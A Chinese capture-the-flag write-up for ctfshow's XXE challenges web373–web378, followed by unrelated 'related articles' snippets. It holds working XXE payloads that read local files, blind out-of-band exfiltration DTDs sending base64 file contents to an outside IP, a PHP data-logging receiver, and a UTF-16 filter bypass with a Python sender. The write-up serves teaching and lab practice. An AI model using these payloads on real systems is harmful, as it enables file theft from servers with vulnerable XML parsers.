ctfshow-XXE(web373-web378)

目录

XXE(外部实体注入攻击)

web373

web374

web375

web376

web377

web378

知识点


XXE(外部实体注入攻击)

XXE这几关有个前提flag在根目录下文件名为flag

web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();//该对象用于操作xml数据
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//加载 XML 文件并进行解析
    $creds = simplexml_import_dom($dom);//换了一种方式
    $ctfshow = $creds->ctfshow;//将xmlctfshow标签里面的内容赋值个ctfshow这个变量
    echo $ctfshow;//输出这个值
}
highlight_file(__FILE__);    

这一看源码和我刚学习XXE看的那篇源码一样

通过伪协议input获取post中的数据流 然后

libxml_disable_entity_loader(false);启用 libxml 实体加载器功能,允许 XML 解析器加载外部实体

LIBXML_NOENT 表示禁止实体扩展 xml自带实体比如&lt; &gt;不能使用 以及内部实体(大概率是)

LIBXML_DTDLOAD 表示允许加载外部 DTD

多了不说 既然有回显 那就简单了

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TZY [
<!ENTITY tzy SYSTEM "file:///flag">
]>
<hello>
<ctfshow>&tzy;</ctfshow>
</hello>

web374

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这就没有回显了(blind xxe) 可以使用外带数据通道提取数据

没有回显记住口诀 xml获取dtd dtd中放base64读取文件和带数据 

既然没有回显那就把数据带出来吧

payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;%int;%send;
]>

vps test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?q=%file;'>">

vps上nc -lvv 进行监听

第一种方式

 vps test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224/index.php?q=%file;'>">

常见index.php文件 用于接受q参数

<?php 
    $tzy = $_GET['q'];
    $myFile = "tzy.txt";
    file_put_contents($myFile, $tzy, FILE_APPEND);
?>

这道题才是正规的一点没有报错 做的很爽

使用web-4观心wp的不正规方式 试一下 根本就不行 因为数据包根本就没有返回报错信息 那个wp的方式恰巧报错信息等信息能返回 恰巧能输出flag 设置error_reporting(0);就不会返回报错信息了

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了xml的证明 (我记得学习基础的时候说必须要写 但是做题的时候发现不需要写,就算必须写有两种方式绕过 双引号变成单引号,在xml和version多加一个空格 都是可以的)

和上面题同理

使用一个不同的方式吧(原理都是一个意思) 为什么要绕一圈呢,就是因为在请求的时候 默认不允许将本地文件发送到dtd文件 间接的影响了我们的请求 所以要套一层

也就是说将dtd引过来之后首先解析第一层实体定义 内容为另一个实体定义 继续解析另一个实体定义 从而达到了发送请求 如果不这样套一层 直接放入xml 系统默认是不允许得,这也能解释为什么要用参数实体 因为调用dtd是在内部dtd中调用的 内部dtd只能使用参数实体的方式

我是将读本地文件和请求vps都放到dtd中 xml只放引用dtd的

很多都是请求vps的放入dtd中 xml中放读本地文件和引用dtd的

payload

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">
    %myurl;
]> 

vps dtd文件

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
%dtd;
%vps;

成功 之前是监听的请求中的参数 这次是监听请求的路径 一个意思都能监听到

web376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

比上一题多一个/i大小写 没区别 同理

web377

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了http 看别人的wp说是使用utf-16编码就能绕过 我就手动将payload(和上一题一样的)进行utf-16就是不行 必须使用python发包 发包前进行utf-16编码 而且就算用python进行utf-16编码 手动发送也不行 必须也要让python发包 才可以(我估计是啥 如果进行特定编码方式 然后发包 估计还有增加请求头 类似这种 python发包可以自动补全)

能编码简单理解就是(我的理解)input获取到数据后 先绕过正则 然后在操作xml的时候这个对象就能识别出是xml 因为xml支持utf-16 这时哪怕在xml声明编码方式为utf-8这也无所谓  这声明的只是xml内容为utf-8 但是整体过来是utf-16 这个对象是能识别出来的 然后看到这个声明为utf-8后再将内容设为utf-8的编码方式 

其余同理

python代码为

import requests
url = 'http://fdccab41-0e0d-48fa-89af-21ce8bffa466.challenge.ctf.show/'
payload = '''<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">
    %myurl;
]> 
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)

web378

通过这个数据就知道这是xml数据 服务器后端肯定会使用xml解析这个数据

源码中也能看出来

function doLogin(){
//不为空就行
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	//定义一下数据
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
使用异步发送请求
    $.ajax({
        type: "POST",
        url: "doLogin",
        contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型
        data: data,
        dataType: "xml",//接收的数据类型为
        anysc: false,
        success: function (result) {
             从返回的 XML 数据中获取名为 "code" 的元素的值。
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
            //如果code为1显示登录成功
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
//在 AJAX 请求失败时执行 当发生错误时,会在页面上显示 errorThrown + ':' + textStatus,即显示异常信息和错误状态描述
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

 contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型

X-Requested-With: XMLHttpRequest 这是告诉服务器我是ajax进行异步通信 数据可能是xml也可能是json(这俩大概率) 都有可能

发送的是xml数据 回来的也是xml数据(其实回来的不用管)服务器肯定是解析xml

传入paylaod

我想使用这种方法 但是不好使 估计是在服务器设置了不允许进行使用外部DTD

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;%int;%send;
]>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?q=%file;'>">

好好观察一下源码发现$(".msg").text(msg + " login fail!");

随便登录一下 账户名admin 密码123456 显示 admin login fail 这个msg就是用户名

这个msg是从服务器返回的xml数据中提取的 那么服务器的msg肯定是从我们上传的xml中提取的

那么直接就能将&xxe输出也就是flag的内容 我看大佬说这是特别标准的xxe估计这种很常见

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username></user>

知识点

为什么是外部实体注入 为什么要引入外部呢 也是我之前迷茫的地方

举个例子 比如

xml文件
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">
    %myurl;
]> 
dtd文件
<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
%dtd;
%vps;

直接写成 不也行嘛

xml文件
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
    %vps;
]> 

这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部 (必须是双层嵌套哦)

如果放在外部%myurl引用dtd文件 %dtd引用另一个实体引用 %vps再引用我们的请求 这样是可以的 虽然最终也是在内部dtd中 但是两者就是不一样

还有一点就是在声明的内部中%要进行实体编码 因为%这种不符合xml的符号必须要进行实体编码 

也就是说%dtd 不允许有和xml冲突的字符在值里面

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/450972.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

商铺办理房产证需缴纳的交易费用有哪些材料?

一、商铺办理房产证收费标准 一般来说&#xff0c;商铺办理房产证时需要缴纳的交易费用包括&#xff1a;交易费、登记费、验资费、营业税、个人所得税、契税等。 每个城市的缴费标准会有所不同。 具体缴纳费用需要咨询当地房管局。 1、契税&#xff1a;房屋交易额的5%。 &…

BUUCTF-----[SWPU2019]Web1

打开页面&#xff0c;原本以为是二次注入,结果不是&#xff0c;先注册一个账户 在申请发布广告中&#xff0c;发现反射性xss(然而没有什么用) 在广告申请名字中发现注入点 开始注入 通过一系列的测试&#xff0c;发现系统过滤了#&#xff0c;or&#xff0c;空格 orde…

C语言 - 各种自定义数据类型

1.结构体 把不同类型的数据组合成一个整体 所占内存长度是各成员所占内存的总和 typedef struct XXX { int a; char b; }txxx; txxx data; typedef struct XXX { int a:1; int b:1; …

如果电脑缺少dll文件怎么解决?如何快速解决dll丢失问题

最近有小伙伴问电脑老是缺少dll文件&#xff0c;这种问题到底要怎么去解决呢&#xff1f;其实这种现象是正常的&#xff0c;为啥说正常呢&#xff0c;下面我们会给大家详细的讲解dll为啥会缺少&#xff0c;然后还会讲解电脑缺少dll文件怎么解决的方法&#xff0c;好了&#xff…

Linux: 预备

计算机结构基础 由于速度原因, CPU不直接与外设打交道, 而是通过内存进行交互.(CPU速度 >> 外设) 操作系统: 内核 (管理软硬件) shell(给用户使用操作系统的方式) 操作系统封装了用户操作接口 相比于系统接口,使用更简单跨平台性: 不同的操作系统,其系统调用接口是不同…

代码随想录 贪心算法-难度题目-其他题目

目录 53.最大子数组和 134.加油站 968.监控二叉树 53.最大子数组和 53. 最大子数组和 中等 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个…

(SUB)app性能测试

APP性能测试(启动速度、内存、CPU、FPS、GPU、耗电量)_性能测试中fps分析-CSDN博客 app性能测试_app性能测试方案-CSDN博客 测试方案 服务端 平均响应时间 错误率 吞吐量 CPU/内存占用率 网络/硬盘的读写速度 客户端 启动速度 手机APP的启动时长是一个很容易被用户感…

【数据库】Oracle内存结构与参数调优

Oracle内存结构与参数调优 Oracle 内存结构概览oracle参数配置概览重要参数&#xff08;系统运行前配置&#xff09;:次要参数&#xff08;可在系统运行后再优化调整&#xff09;: Oracle数据库服务器参数如何调整OLTP内存分配操作系统核心参数配置Disabling ASMM&#xff08;禁…

JSON基础知识

目录 一、定义二、作用三、特点四、语法JSON具有以下这些形式&#xff1a;4.1 对象(JSONObject)&#xff1a;4.2 数组(JSONArray)&#xff1a;4.3 值4.4 字符串4.5 数值 五、常用的JSON解析方式5.1 org.json解析5.1.1 常用api5.1.2 get方法与opt方法对比5.1.3 使用示例5.1.3 参…

面试不再愁,看这份保姆级简历写作指南

在现代社会&#xff0c;简历是求职过程中至关重要的一环。一份精心设计的简历可以为你打开求职的大门&#xff0c;让你脱颖而出。然而&#xff0c;许多求职者常常陷入简历写作的困境&#xff0c;不知道从何处入手。在这篇文章中&#xff0c;我将手把手地教你如何写一份引人注目…

Jmeter接口自动化-如何解决请求头Content-Type冲突问题

一、前言 通常我们在使用Jmeter做接口自动化时&#xff0c;在线程组里添加HTTP信息头管理器&#xff0c;用来管理公共的请求头信息。普通的接口自动化是没问题的&#xff0c;但是对于有些特殊的操作流程&#xff0c;如&#xff1a;先上传文件接口&#xff08;信息头使用Conten…

openGauss学习笔记-240 openGauss性能调优-SQL调优-更新统计信息

文章目录 openGauss学习笔记-240 openGauss性能调优-SQL调优-更新统计信息240.1 背景信息240.2 操作步骤 openGauss学习笔记-240 openGauss性能调优-SQL调优-更新统计信息 在数据库中&#xff0c;统计信息是规划器生成计划的源数据。没有收集统计信息或者统计信息陈旧往往会造…

01 THU大模型之基础入门

1. NLP Basics Distributed Word Representation词表示 Word representation: a process that transform the symbols to the machine understandable meanings 1.1 How to represent the meaning so that the machine can understand Compute word similarity 计算词相似度 …

Huggingface中Transformer模型使用

一、Huggingface介绍 1、Huggingface定位 NLP自从Transformer模型出现后&#xff0c;处理方式有大统一的趋势&#xff0c;首先回答几个基础问题&#xff1a; 1、自然语言处理究竟要做一件什么事呢&#xff1f;自然语言处理最终解决的是分类问题&#xff0c;但是它不仅仅输出…

算法之二分查找算法

二分查找算法简介 1. 首先说明二分查找算法是比较恶心, 细节很多, 很容易写出死循环的算法, 但熟悉了之后是最简单的算法. 2. 其次我们可能听说过二分查找的前提是数组有序的前提下进行, 但其实不一定. 3. 二分查找算法有一套模板: 朴素的二分模板: 比较简单, 但是有局限性查找…

运维自动化之ansible

pxe 一键安装操作系统 操作系统只是提供一个平台 lnmp 需要多软件协同完成的一个简单项目 服务器正常运行 日常运维 巡检 服务器上的软件正常运行 zabbix 普罗米修斯 系统调优&#xff0c;架构调优 云计算核心职能 搭建平台架构 日常运营保障 性能效率优化 相关工具 代…

SDWAN专线对企业接入有门槛吗

SD-WAN&#xff08;软件定义广域网&#xff09;技术作为一种新型的网络解决方案&#xff0c;正在成为企业网络接入的热门选择。然而&#xff0c;对于企业来说&#xff0c;接入SD-WAN专线是否存在门槛&#xff0c;是一个值得探讨的问题。本文将从不同角度分析SD-WAN专线对企业接…

HTML 学习笔记(十一)表单

一、分块 1.单行文本框控件–文本框和密码框 文本框控件通过单标签input实现&#xff0c;其具有必要属性type来控制输入控件的类型(默认为text即文本信息)&#xff0c;密码框的type为password(口令)。   表单的动作属性定义了目的文件的文件名。由动作属性定义的这个文件通常…

国内可用免费AI工具集

1、Kimi Chat 由月之暗面科技有限公司&#xff08;Moonshot AI&#xff09;开发的人工智能助手。擅长中英文对话&#xff0c;能够提供安全、有帮助且准确的回答。它的能力包括阅读和理解用户上传的文件&#xff0c;访问互联网内容&#xff0c;以及结合搜索结果来回答问题。比如…

【C#】WPF获取屏幕分辨率

SystemParameters提供的接口&#xff0c;其实是获取渲染过程中的实际高宽&#xff0c;是受系统DPI设置的影响。 以 1920 * 1080 和 125% DPI为例&#xff1a; 分辨率高度&#xff1a;1080&#xff0c;实际获取的高度为&#xff1a;864。 分辨率宽度&#xff1a;1920&#xff…